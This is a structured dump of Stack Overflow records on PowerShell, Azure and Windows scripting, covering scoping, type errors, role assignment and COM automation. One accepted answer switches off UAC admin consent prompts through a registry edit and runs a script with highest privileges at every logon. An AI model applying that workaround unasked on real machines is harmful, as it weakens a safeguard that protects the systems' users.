score: 0
answers question: http://stackoverflow.com/q/79148127

http://stackoverflow.com/comment/139503667
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79111251
has text: if a want to scan all files and directories and sub directories from R:\ and export in a txt how can i change the script to do that task?
score: 0

installation
tags question: http://stackoverflow.com/q/79084760
tag name: installation
type: Tag

http://stackoverflow.com/a/79243497
score: 0
answers question: http://stackoverflow.com/q/79237490
has body: PowerShell employs dynamic scoping, meaning it defers variable resolution until a variable reference is actually evaluated at runtime - in other words, it doesn't "remember" the value assigned to a local variable reference when you define a scriptblock literal like this: $server = "abc123" $scriptblock = { $server } $server = "something else now" & $server # invoking the scriptblock won't return "abc123", but rather "something else now" In other words, $server is stored as source code in the scriptblock. By the time either of the button click handler invoke their scriptblock and $server is evaluated, it'll resolve to the last value assigned to $server in the loop. You can force PowerShell to use lexical scoping by explicitly creating a closure over the local $server variable with ScriptBlock.GetNewClosure(): $button.Add_Click({ Start-RDP -server $server -credentials $credentials }.GetNewClosure()) This will make PowerShell resolve the $server and $credentials variables at the time each script block is defined, storing copies of them in an anonymous module that the resulting closure is then bound to. When you later invoke this closure-style script block (eg. by clicking the associated button), PowerShell will resolve the module-bound copies of $server and $credentials and you get the values you expect. Note: While closures are entirely appropriate for this kind of infrequently invoked event handler, beware that PowerShell's anonymous-module approach to constructing closures is significantly more expensive than closures in scripting languages for which lexical scoping is the norm (eg. Perl/Python/JavaScript), iow: it's usually slower to invoke than a non-closure.
type: Answer

http://stackoverflow.com/comment/139670988
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79206642
has text: parameters.json is passed by those commands: $config = gc .\parameters.json | ConvertFrom-Json -Depth 10 $configRAW = ($config | convertto-json -Depth 10 -Compress).replace('"','\"') I will pass it in the pipeline...

http://stackoverflow.com/q/79237732
downvote count: 0
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139726517
upvote count: 2
tagged with: powershell
has comment: http://stackoverflow.com/comment/139726504
has comment: http://stackoverflow.com/comment/139726486
has answer: http://stackoverflow.com/a/79238201
has comment: http://stackoverflow.com/comment/139726495
has title: type-safe powershell: Unable to find type `[Application]`
has comment: http://stackoverflow.com/comment/139726564
favorite count: 0
accepted answer: http://stackoverflow.com/a/79238201
has comment: http://stackoverflow.com/comment/139726563
linked to: http://stackoverflow.com/q/25772156
has comment: http://stackoverflow.com/comment/139726655
type: Question
has comment: http://stackoverflow.com/comment/139726527
has comment: http://stackoverflow.com/comment/139726554
has body: I am trying to slowly move towards more type-safe powershell scripts and therefore experimenting with explicitly setting types for all my variables. In the following, I attempt to instantiate a Word.Application object and then quit out of it: using namespace Microsoft.Office.Interop.Word using namespace System.Management.Automation $ErrorActionPreference = [ActionPreference]::"Stop" [Application]$wordApp = new-object -comobject Word.Application $wordApp.Quit() Could anyone explain to me why, upon running this script I get the following error: InvalidOperation: test.ps1:5 Line | 5 | [Application]$wordApp = new-object -comobject Word.Application | ~~~~~~~~~~~~~ | Unable to find type [Application]. What is the correct way to remediate this?
score: 2

http://stackoverflow.com/q/79126996
accepted answer: http://stackoverflow.com/a/79127234
answer count: 1
type: AnsweredQuestion
upvote count: 2
downvote count: 0
tagged with: powershell
score: 2
favorite count: 0
has body: I'm trying to understand null variable assignment in PowerShell, please see the below code example: [Bool]$result = $null Cannot convert value "" to type "System.Boolean". Boolean parameters accept only Boolean values and numbers, such as $True, $False, 1 or 0. This makes sense. Now when using a function: function Test-Function { [CmdletBinding()] Param ( ) [Bool]$result = $null Write-Output -InputObject "Value of 'result' is: $result" Write-Output -InputObject "Type is: $($result.GetType())" } When running the above function with Test-Function -ErrorAction Stop the below output is returned: Value of 'result' is: False Type is: bool Why is the behaviour different when assigning $null to $result inside the function? Using PowerShell 5.1 on Windows 11
has title: Assigning null to a variable in a PowerShell function
type: Question
tagged with: type-conversion
has comment: http://stackoverflow.com/comment/139525306
has answer: http://stackoverflow.com/a/79127234

http://stackoverflow.com/comment/139618992
type: QuestionComment
type: Comment
has text: What exactly is that second screen? A real monitor or something virtual ?
score: 0
comment on: http://stackoverflow.com/q/79176779

http://stackoverflow.com/q/79222783
upvote count: 1
has answer: http://stackoverflow.com/a/79222902
favorite count: 0
tagged with: azure-service-principal
has title: Can't assign Directory Readers role to managed identity using Az PowerShell: "Role Not Found" Error
type: Question
tagged with: azure-managed-identity
tagged with: azure-identity
tagged with: powershell
answer count: 1
has body: I'm working on connecting to Microsoft Graph using a User Managed Identity (UMI). I've already created the managed identity in the Azure portal, but now I need to assign Directory Readers role to this identity using PowerShell to retrieve directory objects information. I tried using New-AzRoleAssignment -ObjectId 'xxxxxxxxx' -RoleDefinitionName "Directory Reader" -Scope '/' but it's failing with New-AzRoleAssignment: Cannot find role definition with name 'Directory Readers' error The Directory Readers role is visible in the Azure portal and can be assigned manually, but it’s not found in PowerShell. How can the Directory Readers role be assigned to a managed identity using Az PowerShell? Is this possible, or is something being overlooked?
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/139699276
tagged with: azure
score: 1
accepted answer: http://stackoverflow.com/a/79222902

http://stackoverflow.com/q/79132803
tagged with: powershell
type: UnansweredQuestion
has body: I am using VS Code in a remote SSH'd machine, and when I close the editor, all the terminals end as well. So far, the only way I've figured out how to make them persist is to use tmux utility. I was wondering if there was a way of using New-PSSession to start a script that would still be running after I disconnect and reconnect to the machine. All the tutorials so far are showing how to use that to start a session on a remote machine, but what I want is to start a detached session on the current one. The scripts started using Start-Job also terminate as well, so that isn't the answer.
score: 0
has comment: http://stackoverflow.com/comment/139544627
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139537224
has title: How do I launch a persistent Powershell session on a remote SSH'd machine?

http://stackoverflow.com/comment/139547023
type: Comment
score: 0
has text: the sample output that would help is `net view \\computername/all 2>&1` not from your current code
comment on: http://stackoverflow.com/q/79138711
type: QuestionComment

http://stackoverflow.com/q/79136988
has body: I'm trying to open a word document on a windows host via OpenSSH connection. Connecting to the host works. Running the following powershell commands $word.Visible = $false $doc = $word.Documents.Open($file.Fullname) $null -ne $doc directly on the windows host works - $doc is not null but when executing in a powershell via ssh connection it doesn't work - $doc is null but no error message is diplayed - $error is empty I tried using psexec with no success. ssh user@172.18.0.2 "psexec -i 1 -d powershell.exe 'opendoc.ps1'"
tagged with: powershell
score: 0
type: UnansweredQuestion
tagged with: remote-access
tagged with: openssh
tagged with: windows
has title: Open docx Document with word via SSH onto Windows host
type: Question
answer count: 0

http://stackoverflow.com/a/79129336
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: I just needed to implement this in my code: thank you @mklement0 - Also, to avoid false positives, use ... -replace ('\b' + [regex]::Escape($oldString) + '\b'), $replacements[$oldString] It all works now. Thanks!
answers question: http://stackoverflow.com/q/79126566

http://stackoverflow.com/comment/139675869
type: AnswerComment
has text: Have you assigned a role such as Keyvault Administrator to the user-managed identity? If not, please assign the role and check the same again.
comment on: http://stackoverflow.com/a/79207013
type: Comment
score: 0

http://stackoverflow.com/comment/139697284
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79219476
score: 0
has text: @Friedrich The problem is that the execution time is between 2 - 3 seconds. It wouldn't be a problem if my makefile was large, but it's less than 100 lines of code. It takes about 500 milliseconds to compile all the files, but just reading the yaml file takes about 2 - 3 seconds. In each test I did the time varied, but the most common was that it will last 2,753 - 3,282 As such, it wouldn't be a problem with time if it weren't for something so big. I do it more on the whim of a friend who doesn't want to learn how to use makefile.

http://stackoverflow.com/comment/139653789
score: 0
has text: It seems like the original file is encoded in "ISO-8859-1".
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79196973

http://stackoverflow.com/a/79231407
score: 0
accepted answer of: http://stackoverflow.com/q/79230965
has comment: http://stackoverflow.com/comment/139716734
type: AcceptedAnswer
type: Answer
has body: I was able to get passed this UAC(https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works) limitation by creating a Scheduled Task which runs the .bat file with "Run with highest privileges" checked in the General Tab. The script runs on every logon of every user to the machine. I also disabled UAC at the beginning and renabled it at the end of my powershell script. By using this PowerShell line: Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
answers question: http://stackoverflow.com/q/79230965

http://stackoverflow.com/comment/139518524
comment on: http://stackoverflow.com/q/79122039
score: 0
has text: @MarcH I updated the question to add more info about the reason why I need to generate the token.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139590001
score: 0
comment on: http://stackoverflow.com/a/79162274
type: AnswerComment
type: Comment
has text: I cannont but yeah, you just give me an idea, I can hijack an existing but unused column. It's not pretty, but it's doable, I think.

http://stackoverflow.com/a/79085150
answers question: http://stackoverflow.com/q/79084760
has comment: http://stackoverflow.com/comment/139448935
score: 0
has comment: http://stackoverflow.com/comment/139449483
has body: From looking at your log, ‘Microsoft.VisualCpp.Redist.14,version=14.40.33810,chip=x86’ failed to install with the unknown error (0xc0000005) Error 0xc0000005 (Access Violation) error is usually caused by your computer not being able to correctly process the files and settings required to run a particular program or installation. For this issue, please check the following suggestions: 1.Please check if you have 3rd party anti-virus software enabled or enterprise group policy in place that maybe be blocking the installer. 2.Trt to manually download and install the latest supported Microsoft Visual C++ from the page: https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170#latest-microsoft-visual-c-redistributable-version, after that, please check this installation again. 3.If the package fails to install, try to check the new error message shows in the pop-up window. If new error message mentions an old version of this same redistributable package, try to uninstall that old version by using the troubleshooter tool, and then reinstall the redistributable package(14.40). 4.Run the following two commands in CMD(run as admin) to fix the system files issue DISM.exe /Online /Cleanup-image /Restorehealth sfc /scannow For more information, please refer to Use the System File Checker tool to repair missing or corrupted system files
has comment: http://stackoverflow.com/comment/139448530
type: Answer

http://stackoverflow.com/comment/139497909
type: Comment
has text: Thanks for linking to that answer; obvious self-interest aside, I recommend up-voting answers you find helpful, whether given directly in response to your question or in response to other questions. Good answer, but `replacement` is _not_ a literal: in it, `$` is a metacharacter, whereas ``\`` is not. Please see my answer.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79112133

http://stackoverflow.com/comment/139609940
type: Comment
score: 0
has text: It looks like you need to use `-Parallel` inside `CommandA` then instead of after it @user2847643. `ReadKey()` will be invoked per pipeline object tho
type: AnswerComment
comment on: http://stackoverflow.com/a/79173063

http://stackoverflow.com/a/79071601
type: Answer
score: 3
accepted answer of: http://stackoverflow.com/q/79069816
upvote count: 3
has body: zett42 has provided the right answer in his helpful comment, use NameString as your Format-Wide Property: Get-ChildItem | Format-Wide NameString To provide some context, the NameString property together with LengthString and LastWriteTimeString are the properties used by the default formatter to have the colored or accented output in the TableControl. Essentially, these are the properties that have the injected VT sequences. (Get-FormatData System.IO.*Info).FormatViewDefinition | Where-Object { $_.Control -is [System.Management.Automation.TableControl] } | ForEach-Object { $_.Control.Rows.Columns } You can also observe this in DefaultFormatters/FileSystem_format_ps1xml.cs#L42-L126. For ListControl and WideControl however they use Name instead of NameString, this is why Format-List and Format-Wide outputs aren't colored. Update-FormatData could also be used if you want WideControl to use NameString by default, by changing the PropertyName tag. However this requires more work as the ps1xml obtained from Export-FormatData isn't perfect, it will require some editing in every to make each one of them look like the default. children System.IO.DirectoryInfo System.IO.FileInfo $_.PSParentPath.Remove(0, 38) <Label>Directory NameString
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139426361
answers question: http://stackoverflow.com/q/79069816
downvote count: 0

http://stackoverflow.com/comment/139486162
type: Comment
has text: BTW. I see there is some substantial and less understood execution caching going on there, and the 1st run always runs almost 10 times longer than then latter ones.
comment on: http://stackoverflow.com/a/79099422
type: AnswerComment
score: 1

http://stackoverflow.com/comment/139707266
type: Comment
score: 0
has text: @G42, note that in the case of `npm` even the restoring-afterward problem doesn't need solving, because the original title is automatically restored when `npm` exits.
comment on: http://stackoverflow.com/q/79208164
type: QuestionComment

http://stackoverflow.com/comment/139541314
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79133066
has text: Yep - I even ran the code snippets manually (e.g. outside of the Terrafrom deployment) and got the same error.
type: Comment

http://stackoverflow.com/a/79170074
answers question: http://stackoverflow.com/q/79168232
has body: Let's start with a simplified, verbatim version of the string you're trying to pass: Note: I'm only focusing on the aspect of escaping the embedded " characters in the string - I cannot speak to whether your query is otherwise correct (e.g., @message vs. Message, the extra " in '"message":"*', which I've omitted below). fields @log, @timestamp, @message | filter @message like "\"httpCode\":4" | parse @message '"message":*' as Message The string you need to pass to as an argument to an external program in Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), as well as in PowerShell (Core) 7 up to version 7.2.x: must first satisfy PowerShell's own syntax requirements... ... and - unfortunately - must also have embedded " characters (and situationally \ characters, namely if they directly precede ") \-escaped (this requirement no longer applies to PowerShell v7.3+; see this answer for background information). Therefore, using a verbatim here string to avoid the need for PowerShell-specific escaping: # In Windows PowerShell and PowerShell (Core) up to v7.2.x $queryString = @' fields @log, @timestamp, @message | filter @message like \"\\\"httpCode\\\":4\" | parse @message '\"message\":*' as Message '@ Note: The above uses a verbatim here-string (@'<newline>...<newline>'@); whenever you need string interpolation, use the expandable variant (@"<newline>...<newline>"@).
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79168232
has comment: http://stackoverflow.com/comment/139607364
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139607621
has comment: http://stackoverflow.com/comment/139606455
score: 1
upvote count: 1

http://stackoverflow.com/comment/139583084
has text: You have defined the window titles in a variable `$Title`, but your functions `Ansicht1` and `Ansicht2` use the (undefined) array `$FensterTitel`
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79158483

http://stackoverflow.com/a/79191290
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79188856
type: Answer
upvote count: 1
score: 1
type: AcceptedAnswer
has body: I do agree with CraftyB for suggesting the same point. You can try the Get-AzADApplication without the -All parameter. Here is the updated script to fetch the Azure AD application secrets and certificates that are going to expire in 30 days. Connect-AzAccount -Identity $appList = Get-AzADApplication $currentDate = Get-Date $expiryThreshold = $currentDate.AddDays(30) $output = @() foreach ($app in $appList) { $appcred = Get-AzADAppCredential -ObjectId $app.Id $appName = $app.DisplayName foreach ($cred in $appcred) { $endDate = $cred.EndDateTime $displayName = $cred.DisplayName if ($endDate -eq $null) { $output += [pscustomobject]@{ AppName = $appName DisplayName = $displayName ExpiryStatus = "No expiry date available" ExpiryDate = "" } continue } if ($endDate -lt $currentDate) { $output += [pscustomobject]@{ AppName = $appName DisplayName = $displayName ExpiryStatus = "Expired" ExpiryDate = $endDate } } elseif ($endDate -lt $expiryThreshold) { $output += [pscustomobject]@{ AppName = $appName DisplayName = $displayName ExpiryStatus = "Expiring in less than 30 days" ExpiryDate = $endDate } } else { $output += [pscustomobject]@{ AppName = $appName DisplayName = $displayName ExpiryStatus = "Not expiring in the next 30 days" ExpiryDate = $endDate } } } } $output | Format-Table -Property AppName, DisplayName, ExpiryStatus, ExpiryDate Output: Automation account result
answers question: http://stackoverflow.com/q/79188856

http://stackoverflow.com/q/79165242
has comment: http://stackoverflow.com/comment/139723161
answer count: 1
has title: How to stop a fully stuck powershell script when keyboard interrupt and `Stop-Job` not working?
accepted answer: http://stackoverflow.com/a/79296296
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/30051634
score: 0
has comment: http://stackoverflow.com/comment/139601390
has answer: http://stackoverflow.com/a/79296296
has body: The script to run used to be simply, just pin a given folder to windows quick access, like what this answer doing pintohome. $o = new-object -com shell.application $o.Namespace('c:\My Folder').Self.InvokeVerb("pintohome") It works well for years, but after some window upgrade, i found it will get fully stucked on windows version 10.0.19045, ps version 5.1.19041.5007. Then i tried using Start-Job and Wait-Job to stop it after a timeout like this: $job = Start-Job -ScriptBlock { $o = new-object -com shell.application $o.Namespace('c:\My Folder').Self.InvokeVerb("pintohome") } if (Wait-Job -Job $job -Timeout 3) { Write-Output "The folder has been pinned successfully." } else { Stop-Job -Job $job Write-Error "The operation took too long to run and has been stopped." } Remove-Job -Job $job But it still stucked and even ctrl+c will not be able to stop it, i have to close the powershell window to stop. I have tried capture the error like this and still get stucked and no output. cmd.exe /c powershell.exe D:\scripts\test.ps1 1>D:\scripts\log.txt 2>&1 According to this discussion Pin and Unpin from Quick Access using PowerShell, it may takes a long time to run it. But i found it will not stopped even after 10 minutes. So how can i stop it after a timeout and is it failed because windows have done some restrictions?
tagged with: windows
has comment: http://stackoverflow.com/comment/139723458
type: Question
has comment: http://stackoverflow.com/comment/139597613

sequential
tag name: sequential
type: Tag
tags question: http://stackoverflow.com/q/79173045

http://stackoverflow.com/comment/139661996
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79195703
has text: Found a relevant question and posted my version of that comment as an answer https://stackoverflow.com/a/79201797/4139809.
type: QuestionComment

http://stackoverflow.com/q/79177876
tagged with: c#
has comment: http://stackoverflow.com/comment/139618465
tagged with: powershell-sdk
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79178582
type: UnansweredQuestion
score: 1
has title: How to Restrict PowerShell SDK to Limit Script Access to Specific Callback Methods in a C# Application?
type: Question
has body: In my C# application I want to use the PowerShell SDK to allow user-provided PS scripts to interact with limited parts of the application through callbacks. I want to restrict what these scripts can do, ideally allowing only specific methods to be called on a provided callback interface, without giving full access to system resources or sensitive .NET types. Here’s a simplified code example: var iss = InitialSessionState.CreateRestricted(SessionCapabilities.Language); iss.LanguageMode = PSLanguageMode.FullLanguage; // ConstrainedLanguage would inhibit the callbacks // Add specific cmdlets, for example iss.Commands.Add(new SessionStateCmdletEntry("New-Object", typeof(Microsoft.PowerShell.Commands.NewObjectCommand), "")); iss.Commands.Add(new SessionStateCmdletEntry("Select-Object", typeof(Microsoft.PowerShell.Commands.SelectObjectCommand), "")); // Create runspace using var rs = RunspaceFactory.CreateRunspace(iss); rs.Open(); // Provide a limited callback object IMySafeCallbacks callbacks = new MySafeCallbacks(); rs.SessionStateProxy.SetVariable("callbacks", callbacks); // Run the PowerShell script using var ps = PowerShell.Create(); ps.Runspace = rs; ps.AddScript(@"$callbacks.LogMessage('Hello from script');"); var results = ps.Invoke(); Requirements: Restrict Access: Scripts should only be able to call specific methods on the IMySafeCallbacks interface, with no access to other .NET types or system resources. Prevent Unauthorized Access: Avoid exposing any ability for the script to access system resources (like read/write files) or create arbitrary objects. Challenges: If I use PSLanguageMode.ConstrainedLanguage, the script fails when invoking methods on the callback interface due to limited .NET type support. In PSLanguageMode.FullLanguage, there’s no straightforward way to prevent access to file system operations or arbitrary .NET object creation through methods like New-Object or [System.IO.File]. Question: How can I configure the PowerShell runspace to limit the…
has comment: http://stackoverflow.com/comment/139618427
downvote count: 0
has comment: http://stackoverflow.com/comment/139619949
has comment: http://stackoverflow.com/comment/139619925
has comment: http://stackoverflow.com/comment/139618517
tagged with: powershell
answer count: 1

http://stackoverflow.com/comment/139596126
has text: Please, [DO NOT post images of code, data, error messages, etc.](https://meta.stackoverflow.com/a/285557), see [How do I ask a good question?](https://stackoverflow.com/help/how-to-ask)
type: QuestionComment
comment on: http://stackoverflow.com/q/79165077
type: Comment
score: 0

http://stackoverflow.com/comment/139627932
type: Comment
has text: Thank you. that seems a fairly easy solution.
comment on: http://stackoverflow.com/a/79181472
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139566567
has text: doubt you can get the setter indexer to work with pwsh class
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79149903

http://stackoverflow.com/q/79128008
tagged with: powershell
type: AnsweredQuestion
tagged with: azure
tagged with: terraform
accepted answer: http://stackoverflow.com/a/79133066
tagged with: kudu
score: 0
has title: Access Kudu CLI via Terraform
has answer: http://stackoverflow.com/a/79133066
upvote count: 1
favorite count: 0
has body: Here is my scenario: I am deploying an Azure Linux Web App, it is a demo environment and the goal is to deploy via Terraform in its entirity - use it for the demo, then destroy it via Terraform (to save on costs as some of the resources are high-end SKUs for various reasons) In order to complete the deployment of the Web App (which I do not have direct control over) - I normally would need to go to the Kudu CLI shell and run a few commands. I understand that I can do this via the Kudu REST API, via Powershell or via Azure CLI - but I am not sure how I caqn invoke one of those methods via Terraform.
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/139527335
has comment: http://stackoverflow.com/comment/139534994
downvote count: 1

http://stackoverflow.com/comment/139738001
type: AnswerComment
has text: Thanks for the info, but unfortunately it doesn't seem to fix it. I tried both potential fixes, but nether returns the titles along with all the other properties. The first one with the calculated property goes in the right direction but still doesn't return the titles (it returns them blank if I leave out the export-csv) `Name : bt_fa.php ` `Extension : .php ` `FullName : C:\dev\docs\bt_fa.php ` `LastWriteTime : 11/07/2016 2:21:34 PM ` `Title :`
type: Comment
comment on: http://stackoverflow.com/a/79238148
score: 0

http://stackoverflow.com/q/79090297
has answer: http://stackoverflow.com/a/79090723
has comment: http://stackoverflow.com/comment/139458246
possible better answer: http://stackoverflow.com/a/79090723
favorite count: 0
answer count: 2
has answer: http://stackoverflow.com/a/79090339
type: Question
upvote count: 2
downvote count: 0
tagged with: case-conversion
accepted answer: http://stackoverflow.com/a/79090339
score: 2
has body: I'm running a command in PowerShell to get the list of emails in a distribution group but I need to normalize the list to do some comparisons later and I need them all in lowercase. I've tried multiple instances of .tolower() but nothing seems to work. How can I achieve this? Get-AzureADGroup -ObjectId [REDACTED] | Get-AzureADGroupMember -All $True |Select-Object UserPrincipalName | Sort-Object UserPrincipalName This gives me the output: UserPrincipalName ----------------- First.Name@redacted.com Jane.Doe@redacted.com johnsmith@redacted.com That.Person@redacted.com I want them all in lowercase and, since we're already here, without the header "UserPrincipalName -----------------" as well. Thanks in advance. Tried adding "tolower.()" on multiple different positions in the string. None worked. I'm getting an error that tolower is not recognized, but couldn't find how to install it tolower. : The term 'tolower.' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:1 + tolower.(Get-AzureADGroup -ObjectId [REDACTED] ... + ~~~~~~~~ + CategoryInfo : ObjectNotFound: (tolower.:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
tagged with: powershell
tagged with: tolower
has title: Convert output of a command to lowercase in powershell
type: AnsweredQuestion

http://stackoverflow.com/comment/139459616
comment on: http://stackoverflow.com/q/79091039
type: QuestionComment
type: Comment
has text: Do you really need v2 compatibility? Please use only _one_ versioned tag, namely for the _minimum_ version your code must support.
score: 1

jira-rest-api
tag name: jira-rest-api
tags question: http://stackoverflow.com/q/79188506
type: Tag

winapi
tags question: http://stackoverflow.com/q/79191771
tags question: http://stackoverflow.com/q/79235723
tags question: http://stackoverflow.com/q/79158483
type: Tag
tag name: winapi

http://stackoverflow.com/comment/139670845
comment on: http://stackoverflow.com/q/79205646
score: 0
type: QuestionComment
type: Comment
has text: The dotnetfx package has 4.8.1 available, but it's currently marked as a prerelease (https://community.chocolatey.org/packages/dotnetfx/4.8.1.0-rtw). You can install it in a PowerShell script with `choco install dotnetfx --pre`. That said, this question isn't fantastic for this SO site.

http://stackoverflow.com/comment/139638944
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79189079
score: 0
has text: @SantiagoSquarzon [The `MaskedTextBox.Mask` property uses a different syntax than .NET Numeric Formatting Strings](https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.maskedtextbox.mask?view=windowsdesktop-8.0) which it says is in-fact derived from VB6, wow.

http://stackoverflow.com/comment/139672184
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79207415
has text: @SantiagoSquarzon Thank you. On which part of the command is that indicated? I want to understand what this whole thing means.
score: 0

http://stackoverflow.com/a/79228170
score: 0
type: Answer
answers question: http://stackoverflow.com/q/79227817
has body: I've found that piping the output of Get-AzWvdSessionHost to Format-List displays what I'm looking for. Get-AzWvdSessionHost -HostPoolName $hostPool.Name -ResourceGroupName $resourceGroup | Format-List Output: AgentVersion : 1.0.8431.5100 AllowNewSession : True AssignedUser : FriendlyName : HealthCheckResult : {} Id : /subscriptions/sub/resourcegroups/rgroup1/providers/Microsoft.DesktopVirtualization/hostpools/CACSTST-Host pool-0702/sessionhosts/680702.local LastHeartBeat : 8/19/2024 5:13:19 PM LastUpdateTime : 8/17/2024 12:19:49 AM Name : Hostpool-0702/680702.local OSVersion : 10.0.19045.4412 ObjectId : 4d5f998b-7857-4c90-93cf-2ab1693253a1 ResourceId : /subscriptions/sub/resourceGroups/rg1/providers/Microsoft.Compute/virtualMachines/ocst68-0702 Session : 0 Status : Unavailable StatusTimestamp : 8/17/2024 12:19:49 AM SxSStackVersion : rdp-sxs240209880 SystemDataCreatedAt : 7/2/2024 8:16:43 PM SystemDataCreatedBy : SystemDataCreatedByType : SystemDataLastModifiedAt : SystemDataLastModifiedBy : SystemDataLastModifiedByType : Type : Microsoft.DesktopVirtualization/hostpools/sessionhosts UpdateErrorMessage : UpdateState : Succeeded VirtualMachineId : 835638ba-e701-4617-8725-46cdcc0a27a8

http://stackoverflow.com/q/79191771
score: 0
has comment: http://stackoverflow.com/comment/139644396
tagged with: wmi
tagged with: winapi
type: Question
tagged with: motherboard
answer count: 0
has body: I'm working in c# application in which I want to display rear flex io port and devices connected to it. I'm using wmi queries to fetch details. From SMBIOS, I could only get the type of flex port connected to the system. USB type ports and its connected devices can be easily identified from the location property which starts with Port#. But for NIC type, could not differentiate whether they are connected through internal NIC or system PCIe slots or via rear flex port. I tried using AssocClass in Win32_PNPEntity class. But it is not working. Provides relation only if USB type is connected. Similar case for display port as well. Can this be achieved using wmi classes. or Any 3rd party API to be used?
linked to: http://stackoverflow.com/q/78788826
tagged with: c#
tagged with: powershell
has title: How to identify devices connected via rear flex io port in system using wmi?
type: UnansweredQuestion

http://stackoverflow.com/comment/139660366
type: QuestionComment
comment on: http://stackoverflow.com/q/79200338
type: Comment
score: 0
has text: Different programs store this type of information differently. For example MS Word stores these custom attributes inside the word document structure in a file called [`docProps\custom.xml`](https://learn.microsoft.com/en-us/archive/msdn-magazine/2008/april/office-dev-managing-metadata-with-document-information-panels#:~:text=As%20you'll%20see%2C%20the,xml%20within%20the%20docProps%20folder.) The program you work with may have it's own method of storing these attributes so there is probably no one-size-fits-all solution for this.

http://stackoverflow.com/comment/139665552
type: Comment
score: 1
has text: Quibble: the `param(...)` syntax alone doesn't make a `function` and _advanced_ one; for that you need a `[CmdletBinding()]` attribute and/or parameter-individual `[Parameter()]` attributes; the former can only be used with the `param(...)` syntax (by placing it _above_ `param(...)`; with the inline syntax, it is _quietly ignored_), while the latter can be used with the inline syntax too. To avoid surprises, it's best to always use the `param(...)` syntax, which is a must in _script files_ anyway. See [this answer](https://stackoverflow.com/a/61946390/45375) for details.
comment on: http://stackoverflow.com/a/79202285
type: AnswerComment

http://stackoverflow.com/comment/139626088
type: QuestionComment
type: Comment
has text: Add the '--non-interactive' option to the SVN commands in the script. And examine the output of this script.
comment on: http://stackoverflow.com/q/79181934
score: 1

http://stackoverflow.com/comment/139699276
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79222783
type: QuestionComment
has text: You cannot assign Directory Reader role with New-AzRoleAssignment command as it's Microsoft Entra role not Azure RBAC. Alternatively, switch to Microsoft Graph PowerShell to achieve the same.

http://stackoverflow.com/q/79111831
answer count: 1
tagged with: azure-devops
has answer: http://stackoverflow.com/a/79112333
tagged with: powershell
tagged with: powershell-remoting
tagged with: azure-pipelines
score: 0
type: UnansweredQuestion
has body: I need to create a release pipeline for coping two .dll files and remotely execute a PowerShell script. What I did, Wrote a bash script to download the .dll file and PowerShell script file from GitHub. I have an onPrem agent server (onPrem1/172.24.243.193) and the files have downloaded to that server (D:\agent_work\r65\a\DeploymentPackage\ReleaseFiles) - SUCCESSFUL Used Windows Machine File Copy (WinRM) to copy the .dll file to a remote server (AppServer1/172.26.143.22). The location: D:\release\ - SUCCESSFUL Used the PowerShell v2.* to execute the downloaded PowerShell script - FAILED onPrem agent is in different network (172.24.243.193) and remote server is in another network (172.26.143.22). The PowerShell script includes; Check whether there is an existing .dll file in the remote location. If there is an existing file, copy that file to backup folder. Copy the new .dll file from D:\release\ to D:\app\ Restart the AKServ windows service. As I am running the PowerShell script from onPrem agent server, and the .dll file is in different network how can I resolve this issue. function Backup-file { param( [String] $serverName, [String] $fileName ) $releaseFolderPath = "\\$serverName\d$\app\" $backupFileDirectory = "$releaseFolderPath\Backups\" Write-Host "Backing up $releaseFolderPath to $backupFileDirectory" $releaseFileFullPath = Join-Path -Path $releaseFolderPath -ChildPath $fileName if (Test-Path -Path $releaseFileFullPath){ Write-Host "File Exists $releaseFileFullPath " try { # Create the Backup folder if it doesn't exist if (-not (Test-Path -Path $backupFileDirectory)) { New-Item -ItemType Directory -Path $backupFileDirectory Write-Host "Backup folder created on $backupFileDirectory" } #Rename & Move the exsisting release file $backupFileName = "ABC_" + (Get-Date -Format "yyyyMMddHHmmss") + ".dll" $backupFileFullPath = Join-Path -Path $backupFileDirectory -ChildPath $backupFileName $tempFile = Join-Path -Path $releaseFolderPath -ChildPath $backupFileName Write-H…
has title: Azure Release Pipeline - Execute a PowerShell script from a remote server
type: Question
tagged with: azure-pipelines-release-pipeline

http://stackoverflow.com/a/79099422
accepted answer of: http://stackoverflow.com/q/79098718
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139486162
has comment: http://stackoverflow.com/comment/139476458
has comment: http://stackoverflow.com/comment/139486288
type: Answer
